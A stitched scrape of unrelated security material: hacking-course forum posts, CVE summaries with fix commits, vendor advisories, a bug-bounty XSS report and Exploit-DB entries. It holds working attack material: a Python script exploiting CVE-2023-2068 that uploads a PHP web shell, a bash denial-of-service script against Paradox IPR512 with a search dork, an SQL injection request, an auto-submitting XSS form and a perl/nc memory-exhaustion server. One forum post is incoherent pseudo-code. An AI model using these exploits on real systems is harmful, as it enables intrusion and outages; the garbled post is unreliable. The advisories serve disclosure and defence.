rufus/parrot

ok so im completly new, and need a little help here for a project annnnd i cant get parrot to run on my computer i tried creating a iso on a flkash drive and cannot get it to run whatso ever do i need to put a virtual machine along side of it?


YARP Denial of Service Vulnerability

[Severity: HIGH]

### Impact

A denial of service vulnerability exists in how YARP processes input.

### Patches

If you're using YARP `1.0.0`, you should update to NuGet package version [`1.0.1`](https://www.nuget.org/packages/Yarp.ReverseProxy/1.0.1).
If you're using YARP `1.1.0-RC.1`, you should update to NuGet package version [`1.1.0-rc.1.22211.2`](https://www.nuget.org/packages/Yarp.ReverseProxy/1.1.0-rc.1.22211.2).

You can do so by updating the `PackageReference` in your `.csproj` file
```diff
<ItemGroup>
- <PackageReference Include="Yarp.ReverseProxy" Version="1.0.0" />
- <PackageReference Include="Yarp.Telemetry.Consumption" Version="1.0.0" />
+ <PackageReference Include="Yarp.ReverseProxy" Version="1.0.1" />
+ <PackageReference Include="Yarp.Telemetry.Consumption" Version="1.0.1" />
</ItemGroup>
```
or by selecting `1.0.1` in the NuGet UI inside Visual Studio (`Manage NuGet Packages` / `Updates`)
![image](https://user-images.githubusercontent.com/25307628/162951795-a30f8ed7-77ef-4c4f-920e-58d9e1587ad1.png)

### References

[CVE-2022-26924](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26924)


CVE: CVE-2022-24881

[{'lang': 'en', 'value': 'Ballcat Codegen provides the function of online editing code to generate templates. In versions prior to 1.0.0.beta.2, attackers can implement remote code execution through malicious code injection of the template engine. This happens because Velocity and freemarker templates are introduced but input verification is not done. The fault is rectified in version 1.0.0.beta.2.'}]

Fix commit: :lock: 修改模板引擎的默认安全策略，以防止RCE


First of all, I would like to advise you that hacking into someone's computer without their consent is illegal and unethical. It is important to respect people's privacy and security. Regarding your question, netstat -n is a command that displays the current TCP/IP connections on your computer, along with the associated IP addresses and port numbers. However, it does not provide information about the identities of the remote IP addresses. If you want to find the IP address of your friend, you can ask them directly or use a legitimate IP lookup tool. There are several websites and tools available online that can help you find the IP address of a person, such as whatismyip.com or iplocation.net. However, it is important to note that using these tools without the person's consent can be considered a violation of their privacy. It is important to always respect people's privacy and not engage in any illegal or unethical activities.


crankor: How will I know that they talk about Harry Potter, is that I have a crystal ball, These reots should improve the context,I know it’s about Harry because I’ve read it on the forum but I don’t know when it would have occurred to me that it was about Howards Academy I did parts of the assessment on several days, so I had no chance to still remember the name Harry from the previous exercise… Now I am stuck at the very last question: I found the second username and tries rockyou-30 as instructed. However, no chance to brute force into his SSH account. I tried both routes, from the internal 0.0.0.0.:80 address, as well the external IP address. Any additional suggestions or hints? Thank you!


@minTwin I recommend using the Visual Studio IDE(community), as for the libraries you wont need something too complex. The steps were all explained, you need to make a loop that sends something and until that something is found it will keep running. I also recommend having some “Console.Writeline” so that you’ll see how many attempts were made as well as knowing which string was the correct one


Finally found the code injection that got the flag.txt to appear on the /tmp page, and I respawned the server to double check and make sure it was right. What did it was finding which URL-Encoded characters worked, where to input them, and most importantly, refreshing the /tmp webpage to see if the flag.txt appeared even though an error appeared under the “message alert” in Burp. I incorrectly assumed the error meant that the command was unsuccessful, oops…


If you can debug a bit, you will know ${LS_COLORS} doesn’t exist.


Jenkins Thycotic DevOps Secrets Vault Plugin does not properly mask credentials

[Severity: MEDIUM]

Multiple Jenkins plugins do not properly mask (i.e., replace with asterisks) credentials printed in the build log from Pipeline steps like sh and bat, when both of the following conditions are met:

- The credentials are printed in build steps executing on an agent (typically inside a node block).

- Push mode for durable task logging is enabled. This is a hidden option in Pipeline: Nodes and Processes that can be enabled through the Java system property org.jenkinsci.plugins.workflow.steps.durable_task.DurableTaskStep.USE_WATCHING. It is also automatically enabled by some plugins, e.g., OpenTelemetry and Pipeline Logging over CloudWatch.

The following plugins are affected by this vulnerability:

- Kubernetes 3909.v1f2c633e8590 and earlier (SECURITY-3079 / CVE-2023-30513)

- Azure Key Vault 187.va_cd5fecd198a_ and earlier (SECURITY-3051 / CVE-2023-30514)

- Thycotic DevOps Secrets Vault 1.0.0 (SECURITY-3078 / CVE-2023-30515)

The following plugins have been updated to properly mask credentials in the build log when push mode for durable task logging is enabled:

- Kubernetes 3910.ve59cec5e33ea_ (SECURITY-3079 / CVE-2023-30513)

- Azure Key Vault 188.vf46b_7fa_846a_1 (SECURITY-3051 / CVE-2023-30514)

As of publication of this advisory, there is no fix available for the following plugin:

- Thycotic DevOps Secrets Vault 1.0.0 (SECURITY-3078 / CVE-2023-30515)


CVE: CVE-2022-23615

[{'lang': 'en', 'value': 'XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. In affected versions any user with SCRIPT right can save a document with the right of the current user which allow accessing API requiring programming right if the current user has programming right. This has been patched in XWiki 13.0. Users are advised to update to resolve this issue. The only known workaround is to limit SCRIPT access.'}]

Fix commit: XWIKI-5024: Document potentially saved with the wrong author
* add an configuration off switch


SnakeYaml Constructor Deserialization Remote Code Execution

[Severity: HIGH]

### Summary
SnakeYaml's `Constructor` class, which inherits from `SafeConstructor`, allows
any type be deserialized given the following line:

new Yaml(new Constructor(TestDataClass.class)).load(yamlContent);

Types do not have to match the types of properties in the
target class. A `ConstructorException` is thrown, but only after a malicious
payload is deserialized.

### Severity
High, lack of type checks during deserialization allows remote code execution.

### Proof of Concept
Execute `bash run.sh`. The PoC uses Constructor to deserialize a payload
for RCE. RCE is demonstrated by using a payload which performs a http request to
http://127.0.0.1:8000.

Example output of successful run of proof of concept:

```
$ bash run.sh

[+] Downloading snakeyaml if needed
[+] Starting mock HTTP server on 127.0.0.1:8000 to demonstrate RCE
nc: no process found
[+] Compiling and running Proof of Concept, which a payload that sends a HTTP request to mock web server.
[+] An exception is expected.
Exception:
Cannot create property=payload for JavaBean=Main$TestDataClass@3cbbc1e0
 in 'string', line 1, column 1:
    payload: !!javax.script.ScriptEn ...
    ^
Can not set java.lang.String field Main$TestDataClass.payload to javax.script.ScriptEngineManager
 in 'string', line 1, column 10:
    payload: !!javax.script.ScriptEngineManag ...
             ^

	at org.yaml.snakeyaml.constructor.Constructor$ConstructMapping.constructJavaBean2ndStep(Constructor.java:291)
	at org.yaml.snakeyaml.constructor.Constructor$ConstructMapping.construct(Constructor.java:172)
	at org.yaml.snakeyaml.constructor.Constructor$ConstructYamlObject.construct(Constructor.java:332)
	at org.yaml.snakeyaml.constructor.BaseConstructor.constructObjectNoCheck(BaseConstructor.java:230)
	at org.yaml.snakeyaml.constructor.BaseConstructor.constructObject(BaseConstructor.java:220)
	at org.yaml.snakeyaml.constructor.BaseConstructor.constructDocument(BaseConstructor.java:174)
	at org.yaml.snakeyaml.constructor.BaseConstructor.getSingleData(BaseConstructor.java:158)
	at org.yaml.snakeyaml.Yaml.loadFromReader(Yaml.java:491)
	at org.yaml.snakeyaml.Yaml.load(Yaml.java:416)
	at Main.main(Main.java:37)
Caused by: java.lang.IllegalArgumentException: Can not set java.lang.String field Main$TestDataClass.payload to javax.script.ScriptEngineManager
	at java.base/jdk.internal.reflect.UnsafeFieldAccessorImpl.throwSetIllegalArgumentException(UnsafeFieldAccessorImpl.java:167)
	at java.base/jdk.internal.reflect.UnsafeFieldAccessorImpl.throwSetIllegalArgumentException(UnsafeFieldAccessorImpl.java:171)
	at java.base/jdk.internal.reflect.UnsafeObjectFieldAccessorImpl.set(UnsafeObjectFieldAccessorImpl.java:81)
	at java.base/java.lang.reflect.Field.set(Field.java:780)
	at org.yaml.snakeyaml.introspector.FieldProperty.set(FieldProperty.java:44)
	at org.yaml.snakeyaml.constructor.Constructor$ConstructMapping.constructJavaBean2ndStep(Constructor.java:286)
	... 9 more
[+] Dumping Received HTTP Request. Will not be empty if PoC worked
GET /proof-of-concept HTTP/1.1
User-Agent: Java/11.0.14
Host: localhost:8000
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
```

### Further Analysis
Potential mitigations include, leveraging SnakeYaml's SafeConstructor while parsing untrusted content.

See https://bitbucket.org/snakeyaml/snakeyaml/issues/561/cve-2022-1471-vulnerability-in#comment-64581479 for discussion on the subject.

### Timeline
**Date reported**: 4/11/2022
**Date fixed**:  [30/12/2022](https://bitbucket.org/snakeyaml/snakeyaml/pull-requests/44)
**Date disclosed**: 10/13/2022


CVE: CVE-2022-24762

[{'lang': 'en', 'value': 'sysend.js is a library that allows a user to send messages between pages that are open in the same browser. Users that use cross-origin communication may have their communications intercepted. Impact is limited by the communication occurring in the same browser. This issue has been patched in sysend.js version 1.10.0. The only currently known workaround is to avoid sending communications that a user does not want to have intercepted via sysend messages.'}]

Fix commit: fix security issue with Cross-Domain communication #33


UMAC - Universal Macintosh- Applet

Now in brute force you got to ping the server for the access to winmap -Winamp is used for collection services based upon the status, or stats of the object … BASH Example > > .index = 0; > .num1 = “applet-data-usage”; > .interface = 1028; > > For (index = 0; index < 1028; ++num1){ > > > > ++index; > > ++num1; > > interface = interface * index; } $interface = num1; Usually used somewhat like a pointer class or integer there is another set Blockquote cat graph2.dll >> graph2.rar;


Improper random number generation in github.com/coredns/coredns

[Severity: MEDIUM]

### Impact

CoreDNS before 1.6.6 (using go DNS package < 1.1.25) improperly generates random numbers because math/rand is used. The TXID becomes predictable, leading to response forgeries.

### Patches
The problem has been fixed in 1.6.6+.

### References
- [CVE-2019-19794](https://nvd.nist.gov/vuln/detail/CVE-2019-19794)

### For more information
Please consult [our security guide](https://github.com/coredns/coredns/blob/master/.github/SECURITY.md) for more information regarding our security process.


This topic was automatically closed 120 days after the last reply. New replies are no longer allowed.


Dig: is anyone familiar with this unexpected output?

I was playing around with the dig command and received some unexpected output. Because I’m not familiar with it I thought I’d ask if anyone else has seen it before and can tell me to what it’s referring. Samples below: add 0x55b5a8f2f8b8 size 32 file …/crypto/lhash/lhash.c line 109 mctx 0x55b5a8e6ca40 add 0x55b5a8f28778 size 40 file …/crypto/buffer/buffer.c line 35 mctx 0x55b5a8e6ca40 add 0x55b5a8eb2178 size 592 file …/crypto/err/err.c line 689 mctx 0x55b5a8e6ca40 add 0x55b5a8eb93f8 size 20 file …/crypto/init.c line 66 mctx 0x55b5a8e6ca40 add 0x7f72e1c17010 size 56 file …/…/…/lib/isc/heap.c line 88 mctx 0x55b5a8dcf140 add 0x7f72e1c18010 size 224 file …/…/…/…/lib/isc/unix/socket.c line 4632 mctx 0x55b5a8dcf140 add 0x7f72e1c12230 size 32 file …/…/…/lib/isc/log.c line 1068 mctx 0x55b5a8dcf140


CVE: CVE-2022-31121

[{'lang': 'en', 'value': 'Hyperledger Fabric is a permissioned distributed ledger framework. In affected versions if a consensus client sends a malformed consensus request to an orderer it may crash the orderer node. A fix has been added in commit 0f1835949 which checks for missing consensus messages and returns an error to the consensus client should the message be missing. Users are advised to upgrade to versions 2.2.7 or v2.4.5. There are no known workarounds for this issue.'}]

Fix commit: Check if inner consensus message is missing

Change-Id: I06b466e6ff6d43f2b9804dd21185241716356050
Signed-off-by: Yacov Manevich <yacovm@il.ibm.com>
(cherry picked from commit 6e5e693a2d12aabee4bcf103ab7de3df4ccc49f9)


CVE: CVE-2022-2210

[{'lang': 'en', 'value': 'Out-of-bounds Write in GitHub repository vim/vim prior to 8.2.'}]

Fix commit: patch 8.2.5164: invalid memory access after diff buffer manipulations

Problem:    Invalid memory access after diff buffer manipulations.
Solution:   Use zero offset when change removes all lines in a diff block.


On the Guided Lab: Traffic Analysis Workflow section, there really should be a highly visible message to use the provided pcap in the guided-analysis.zip resource. I tried for some time trying to capture the required network traffic for the questions on the NoMachine host but never got anything that matched up with the questions being asked. Finally diving into the provided pcap, I found it instantly. I really think that an emphasis on using those provided resources would save people a lot of headache, especially in this introduction courses.


[Cross-site Scripting (XSS) - Reflected] CVE-2021-42567 - Apereo CAS Reflected XSS on https://█████████

Apereo CAS through 6.4.1 allows XSS via POST requests sent to the REST API endpoints. CAS is vulnerable to a Reflected Cross-Site Scripting attack, via POST requests sent to the REST API endpoints. The payload could be injected on URLs: /███████/. Malicious scripts can be submitted to CAS via parameters such as the ticket id or the username. That results in CAS rejecting the request and producing a response in which the value of the vulnerable parameter is echoed back, resulting in its execution.

VULNERABLE SITE: https://██████████

VULNERABLE ENDPOINT: https://███████/█████████/

PROOF OF CONCEPT:
-----------------------
* It seems easy as you just need to drop the XSS payload inside the parameter "username" or at the end of the endpoint's path (in URL-encoded form, of course). Apereo CAS rejects the request and echoed back the ticket's ID or the username in the HTTP response without sanitizing.

<html>
  <body onload="document.forms[0].submit()">
    <form action="https://█████████/████████/" method="POST">
      <input type="hidden" name="username" value="<img/src/onerror=alert(document.domain)>" />
      <input type="hidden" name="password" value="Mellon" />
    </form>
  </body>
</html>

* Save the above HTML code as xss.html
* Open it on the browser
* You can notice that the XSS is triggered via a POST request.

## Impact

Apereo CAS through 6.4.1 allows XSS via POST requests sent to the REST API endpoints.

REFERENCES :
---------------
    * https://apereo.github.io/2021/10/18/restvuln/
    * https://www.sudokaikan.com/2021/12/exploit-cve-2021-42567-post-based-xss.html
    * https://github.com/sudohyak/exploit/blob/dcf04f704895fe7e042a0cfe9c5ead07797333cc/CVE-2021-42567/README.md
    * https://nvd.nist.gov/vuln/detail/CVE-2021-42567
    * https://github.com/apereo/cas/releases

Best Regards,
3th1c_yuk1

## System Host(s)
█████████

## Affected Product(s) and Version(s)
Apereo CAS

## CVE Numbers
CVE-2021-42567

## Steps to Reproduce
* It seems easy as you just need to drop the XSS payload inside the parameter "username" or at the end of the endpoint's path (in URL-encoded form, of course). Apereo CAS rejects the request and echoed back the ticket's ID or the username in the HTTP response without sanitizing.

<html>
  <body onload="document.forms[0].submit()">
    <form action="https://██████/██████████/" method="POST">
      <input type="hidden" name="username" value="<img/src/onerror=alert(document.domain)>" />
      <input type="hidden" name="password" value="Mellon" />
    </form>
  </body>
</html>

* Save the above HTML code as xss.html
* Open it on the browser
* You can notice that the XSS is triggered via a POST request.

## Suggested Mitigation/Remediation Actions
You should check the server's version and update to ... not the versions 6.3.7.1 and 6.4.2, but the versions 6.3.7.4 and 6.4.4.2 to mitigate this XSS.


Auto Dealer Management System v1.0 - SQL Injection on manage_user.php

# Exploit Title: Auto Dealer Management System v1.0 - SQL Injection on manage_user.php
# Exploit Author: Muhammad Navaid Zafar Ansari
# Date: 18 February 2023

### CVE Assigned:
**[CVE-2023-0915](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-0915)** [mitre.org](https://www.cve.org/CVERecord?id=CVE-2023-0915) [nvd.nist.org](https://nvd.nist.gov/vuln/detail/CVE-2023-0915)

### Vendor Homepage:
> https://www.sourcecodester.com
### Software Link:
> [Auto Dealer Management System](https://www.sourcecodester.com/php/15371/auto-dealer-management-system-phpoop-free-source-code.html)
### Version:
> v 1.0

# Tested on: Windows 11

### SQL Injection
> SQL Injection is a type of vulnerability in web applications that allows an attacker to execute unauthorized SQL queries on the database by exploiting the application's failure to properly validate user input. The attacker can use this vulnerability to bypass the security measures put in place by the application, allowing them to access or modify sensitive data, or even take control of the entire system. SQL Injection attacks can have severe consequences, including data loss, financial loss, reputational damage, and legal liability. To prevent SQL Injection attacks, developers should properly sanitize and validate all user input, and implement strong security measures, such as input validation, output encoding, parameterized queries, and access controls. Users should also be aware of the risks of SQL Injection attacks and take appropriate measures to protect their data.
### Affected Page:
> manage_user.php

> On this page id parameter is vulnerable to SQL Injection Attack

> URL of the vulnerable parameter is: ?page=user/manage_user&id=*

### Description:
> The auto dealer management system supports two roles of users, one is admin, and another is a normal employee. the detail of role is given below
+ Admin user has full access to the system
+ Employee user has only a few menu access i.e. dashboard, car models and vehicle (available and transaction)
> Although, employee user doesn't have manage_user.php access but due to broken access control, employee could able to perform the SQL Injection by opening manage_user.php page. Therefore, low-privileged users could able to get the access full system.

### Proof of Concept:
> Following steps are involved:
1. Employee guess the page manager_user.php and pass the random id parameter that parameter is vulnerable to SQL injection (?page=user/manage_user&id=1*)
### Request:
```
GET /adms/admin/?page=user/manage_user&id=1%27+and+false+union+select+1,user(),@@datadir,4,database(),6,7,8,9,10,11--+- HTTP/1.1
Host: localhost
sec-ch-ua: "Chromium";v="109", "Not_A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=c1ig2qf0q44toal7cqbqvikli5
Connection: close
```

### Response:

![image](https://user-images.githubusercontent.com/123810418/219888637-627e3abb-4b7a-45e6-a22c-3a5c11b75b61.png)

### Recommendation:
> Whoever uses this CMS, should update the code of the application in to parameterized queries to avoid SQL Injection attack:
```
Example Code:
$sql = $obj_admin->db->prepare("SELECT * FROM users where id = :id ");
$sql->bindparam(':id', $id);
$sql->execute();
$row = $sql->fetch(PDO::FETCH_ASSOC);
```
Thank you for reading for more demo visit my github: https://github.com/navaidzansari/CVE_Demo


CVE: CVE-2022-23603

[{'lang': 'en', 'value': 'iTunesRPC-Remastered is a discord rich presence application for use with iTunes & Apple Music. In code before commit 24f43aa user input is not properly sanitized and code injection is possible. Users are advised to upgrade as soon as is possible. There are no known workarounds for this issue.'}]

Fix commit: Merge pull request from GHSA-3xpp-rhqx-cw96

sec fix


CVE: CVE-2021-25992

[{'lang': 'en', 'value': 'In Ifme, versions 1.0.0 to v.7.33.2 don’t properly invalidate a user’s session even after the user initiated logout. It makes it possible for an attacker to reuse the admin cookies either via local/network access or by other hypothetical attacks.'}]

Fix commit: Call invalidate_all_sessions in prepend_before_action


[Allocation of Resources Without Limits or Throttling] CVE-2022-32206: HTTP compression denial of service

## Summary:
Curl does not prevent resource consumption when processing certain header types, but keeps on allocating more and more resources until the application terminates (or the system crashes, see below).

The attack vectors include (at least):
- Sending many `Transfer-Encoding`with repeated encodings such as "gzip,gzip,gzip,..."
- if `CURLOPT_ACCEPT_ENCODING` is set sending many `Content-Encoding` with repeated encodings such as "gzip,gzip,gzip,..."
- Sending many `Set-Cookie` with unique cookie names and about 4kbyte value

## Steps To Reproduce:
  1.Run the following HTTP server:
 `perl -e 'print "HTTP/1.1 200 OK\r\n";for (my $i=0; $i < 10000000; $i++) {  printf "Transfer-Encoding: " . "gzip," x 20000 . "\r\n"; }' | nc -v -l -p 9999`
  2. `curl http://localhost:9999`

The application will terminate when it runs out of memory.

On macOS the app dies due to OOM:
```
Killed: 9
$ echo $?
137
```

On linux it's the same:
```
Killed
$ echo $?
137
```

When targeting Windows 11 system the system would stop responding. Once the attack script was terminated the system would not recover after 10 minutes of waiting. While it was possible to log on to the system the display would remain black. Rebooting the system was necessary to recover the system to a working state. This of course is likely due to bugs in the Windows operating system or drivers.

On other platforms nasty effects may also occur, such as causing extreme swapping or a system crash. Depending on how the system handles the application gobbling all memory it may result in collateral damage, for example when kernel attempts to release system resources by killing processes.

## Impact

- Uncontrolled resource consumption
- Uncontrolled application termination
- System crash (on some platforms)


Already after studying it, I achieved my goal. Thanks for a tips am sure they will be helpful to me and other people!


Yea same here @roguebandit self learning now for 4 years still don’t know anything to be any kind of a threat to real threats but that has to do with memory retention and mold poisoning but anywhoo yea this info was a definite help for sure if I could maybe add a like adage to his question not just for u but anyone who wants to chime in other than basic hacker understanding where would u start with computer in general to give u the better edge asking a network first learning a programming language cause even though I been learning for three years almost four I’m so still light-years from anyreal career in this I feel


me too .But I got the next flag. I entered his backstage and got the next flag, indicating that the backstage can be broken


Got a TP-Link adapter tl-wn722n working perfectly with my pc. Thanks For your help… You can get from here on Amazon .


Hy everyone, I am at flag5. I have a webshell and try to get a meterpreter revshell using the multi/http/tomcat_mgr_upload moudle, I set username,password, RPORTS, LPORT=8080 but when I start the exploit it gives back this message: image 1925×153 8.57 KB Does somebody know why the server does not return a fingerprint even though it is clearly running under 8080? Btw: does somebody know how to execute msfvenom war payloads on the webserver. Do I just need to click on it? Because I only get a error message and no callback to my multi/handler . image 822×675 52.6 KB image 893×291 25.8 KB


CVE: CVE-2022-2126

[{'lang': 'en', 'value': 'Out-of-bounds Read in GitHub repository vim/vim prior to 8.2.'}]

Fix commit: patch 8.2.5123: using invalid index when looking for spell suggestions

Problem:    Using invalid index when looking for spell suggestions.
Solution:   Do not decrement the index when it is zero.


CVE: CVE-2021-23158

[{'lang': 'en', 'value': 'A flaw was found in htmldoc in v1.9.12. Double-free in function pspdf_export(),in ps-pdf.cxx may result in a write-what-where condition, allowing an attacker to execute arbitrary code and denial of service.'}]

Fix commit: Fix JPEG error handling (Issue #415)


im horribly stuck on this also i did setup the loop at 0…27 and the converted base64 has a wordcount of 34071 am i on the right path for that component? when i assign this number to the salt variable and run the script im getting error bad decrypt 140171867060112:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt:evp_enc.c:618: any clues would be great


API for CTF Challenge

Can hack the box be used for a CTF challenge? I want the API to interact with my website and create challenges for various age groups


File Manager Advanced Shortcode 2.3.2 - Unauthenticated Remote Code Execution (RCE)

# Exploit Title: File Manager Advanced Shortcode 2.3.2 - Unauthenticated Remote Code Execution (RCE)
# Date: 05/31/2023
# Exploit Author: Mateus Machado Tesser
# Vendor Homepage: https://advancedfilemanager.com/
# Version: File Manager Advanced Shortcode 2.3.2
# Tested on: Wordpress 6.1 / Linux (Ubuntu) 5.15
# CVE: CVE-2023-2068

import requests
import json
import pprint
import sys
import re

PROCESS = "\033[1;34;40m[*]\033[0m"
SUCCESS = "\033[1;32;40m[+]\033[0m"
FAIL = "\033[1;31;40m[-]\033[0m"

try:
	COMMAND = sys.argv[2]
	IP = sys.argv[1]
	if len(COMMAND) > 1:
		pass
	if IP:
		pass
	else:
		print(f'Use: {sys.argv[0]} IP COMMAND')
except:
	pass

url = 'http://'+IP+'/' # Path to File Manager Advanced Shortcode Panel
print(f"{PROCESS} Searching fmakey")

try:
	r = requests.get(url)
	raw_fmakey = r.text
	fmakey = re.findall('_fmakey.*$',raw_fmakey,re.MULTILINE)[0].split("'")[1]
	if len(fmakey) == 0:
		print(f"{FAIL} Cannot found fmakey!")
except:
	print(f"{FAIL} Cannot found fmakey!")

print(f'{PROCESS} Exploiting Unauthenticated Remote Code Execution via AJAX!')
url = "http://"+IP+"/wp-admin/admin-ajax.php"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryI52DGCOt37rixRS1", "Accept": "*/*"}
data = "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"reqid\"\r\n\r\n\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"cmd\"\r\n\r\nupload\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"target\"\r\n\r\nl1_Lw\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"hashes[l1_cG5nLWNsaXBhcnQtaGFja2VyLWhhY2tlci5wbmc]\"\r\n\r\nexploit.php\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nfma_load_shortcode_fma_ui\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"_fmakey\"\r\n\r\n"+fmakey+"\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"path\"\r\n\r\n\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"url\"\r\n\r\n\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"w\"\r\n\r\nfalse\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"r\"\r\n\r\ntrue\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"hide\"\r\n\r\nplugins\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"operations\"\r\n\r\nupload,download\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"path_type\"\r\n\r\ninside\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"hide_path\"\r\n\r\nno\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"enable_trash\"\r\n\r\nno\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"upload_allow\"\r\n\r\ntext/x-php\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"upload_max_size\"\r\n\r\n2G\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"upload[]\"; filename=\"exploit2.php\"\r\nContent-Type: text/x-php\r\n\r\n<?php system($_GET['cmd']);?>\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"mtime[]\"\r\n\r\n\r\n------WebKitFormBoundaryI52DGCOt37rixRS1--\r\n"
r = requests.post(url, headers=headers, data=data)
print(f"{PROCESS} Sending AJAX request to: {url}")
if 'errUploadMime' in r.text:
	print(f'{FAIL} Exploit failed!')
	sys.ex


LOL, what a Dumbo I am. Several days stuck with the task…just because I did not understand the task properly. So, save your time if you are stuck too. Disassemble, loop, iterate through RDX and save all results of the looping…and then just delete 0x and join the bytes together. No switching around. Just load it, run it and you will see the value you are looking for. Its straigthforward, not a trap.


CVE: CVE-2022-34035

[{'lang': 'en', 'value': 'HTMLDoc v1.9.12 and below was discovered to contain a heap overflow via e_node htmldoc/htmldoc/html.cxx:588.'}]

Fix commit: Fix a crash bug with bogus text (Issue #426)


Paradox Security Systems IPR512 - Denial Of Service

#!/bin/bash

# Exploit Title: Paradox Security Systems IPR512 - Denial Of Service
# Google Dork: intitle:"ipr512 * - login screen"
# Date: 09-APR-2023
# Exploit Author: Giorgi Dograshvili
# Vendor Homepage: Paradox - Headquarters <https://www.paradox.com/Products/default.asp?PID=423> (https://www.paradox.com/Products/default.asp?PID=423)
# Version: IPR512
# CVE : CVE-2023-24709

# Function to display banner message
display_banner() {
  echo "******************************************************"
  echo "*                                                    *"
  echo "*                PoC CVE-2023-24709                  *"
  echo "*      BE AWARE!!! RUNNING THE SCRIPT WILL MAKE      *"
  echo "*    A DAMAGING IMPACT ON THE SERVICE FUNCTIONING!   *"
  echo "*                                by SlashXzerozero   *"
  echo "*                                                    *"
  echo "******************************************************"
}

# Call the function to display the banner
display_banner
  echo ""
  echo ""
  echo "Please enter a domain name or IP address with or without port"
read -p  "(e.g. example.net or 192.168.12.34, or 192.168.56.78:999): " domain

# Step 2: Ask for user confirmation
read -p "This will DAMAGE the service. Do you still want it to proceed? (Y/n): " confirm
if [[ $confirm == "Y" || $confirm == "y" ]]; then
  # Display loading animation
  animation=("|" "/" "-" "\\")
  index=0
  while [[ $index -lt 10 ]]; do
    echo -ne "Loading ${animation[index]} \r"
    sleep 1
    index=$((index + 1))
  done

  # Use curl to send HTTP GET request with custom headers and timeout
  response=$(curl -i -s -k -X GET \
    -H "Host: $domain" \
    -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36" \
    -H "Accept: */" \
    -H "Referer: http://$domain/login.html" \
    -H "Accept-Encoding: gzip, deflate" \
    -H "Accept-Language: en-US,en;q=0.9" \
    -H "Connection: close" \
    --max-time 10 \
    "http://$domain/login.cgi?log_user=%3c%2f%73%63%72%69%70%74%3e&log_passmd5=&r=3982")

  # Check response for HTTP status code 200 and print result
  if [[ $response == *"HTTP/1.1 200 OK"* ]]; then
    echo -e "\nIt seems to be vulnerable! Please check the webpanel: http://$domain/login.html"
  else
    echo -e "\nShouldn't be vulnerable! Please check the webpanel:  http://$domain/login.html"
  fi
else
  echo "The script is stopped!."
fi


CVE: CVE-2022-31112

[{'lang': 'en', 'value': 'Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. In affected versions parse Server LiveQuery does not remove protected fields in classes, passing them to the client. The LiveQueryController now removes protected fields from the client response. Users are advised to upgrade. Users unable t upgrade should use `Parse.Cloud.afterLiveQueryEvent` to manually remove protected fields.'}]

Fix commit: fix: protected fields exposed via LiveQuery (GHSA-crrq-vr9j-fxxh) [skip release] (#8076)


Exploiting File Upload Vulnerability for images embedded as src="data:image/jpeg;base64"

Hi there, every now and then I stumble over web apps that are based on JavaScript / JSON frameworks. There is a functionality to upload images, which I can bypass to upload a shell or other file types. However, when displaying the image via the web app, the image is embedded usually in the following way: <img src="data:image/jpeg;base64,/9j/4AAQ...."> Do you see any way to exploit this anyway? So far, I have been capturing the HTTP requests to check from which directory the file has been pulled from and try to access the file directly from there.


SSLKEYLOGFILE

Am trying to log the SSLKEYLOGFILE on parort security os can anyone direct me on how to do that ? Thanks


Screen Reader

